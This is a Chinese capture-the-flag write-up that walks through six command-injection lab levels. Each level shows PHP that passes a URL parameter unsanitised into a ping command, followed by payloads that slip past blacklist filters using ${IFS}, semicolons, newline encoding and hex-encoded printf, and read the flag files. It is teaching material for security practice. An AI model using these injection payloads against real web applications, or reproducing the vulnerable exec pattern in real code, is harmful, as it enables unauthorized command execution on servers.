NO.1 无过滤注入
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
代码中没有任何过滤
?ip=|cat 307092239529587.php //flag在网页源代码中
NO.2 过滤cat
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
先ls查看目录
发现存在flag_313911065126325.php
获取flag即可
?ip=|tac flag_313911065126325.php
flag在网页源代码中
NO.3 过滤空格
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
空格过滤掉,我们得想办法用其它符号代替空格即可
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格
?ip=|ls //查看当前目录
?ip=|cat${IFS}flag_7868204008268.php# //获取flag
NO.4 过滤目录分隔符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这里过滤掉 “” 和 “/”
首先还是查看目录
;ls
发现
flag_is_here
index.php
进入flag_is_here 再次查看目录
?ip=;cd flag_is_here;ls#
发现
flag_24072605330316.php
获取flag
?ip=;cd flag_is_here;cat flag_24072605330316.php#
NO.5 过滤运算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这里过滤掉了 | & 运算符 直接用 ; 代替即可
?ip=;cat flag_228482899822968.php#
NO.6 综合过滤练习
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这里过滤的东西很多:
|| & ; | cat flag ctfhub \ / 空格
这里我用换行符替换 运算符
换行符%0a
回车符%9d
?ip=%0als //查看当前目录,发现flag_is_here
//进入flag_is_here
?ip=%0Acd flag_is_here//但是因为过滤了flag字样,所有我们无法进入。因此用16进制替换字符串
?ip=%0Als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")# //查看flag_is_here目录下的文件
?ip=%0Atac${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x31\x32\x32\x35\x31\x33\x37\x39\x36\x38\x36\x39\x37\x2e\x70\x68\x70") //获取flag
//printf${IFS}后面是16进制编码的flag_in_here/flag_21225137968697.php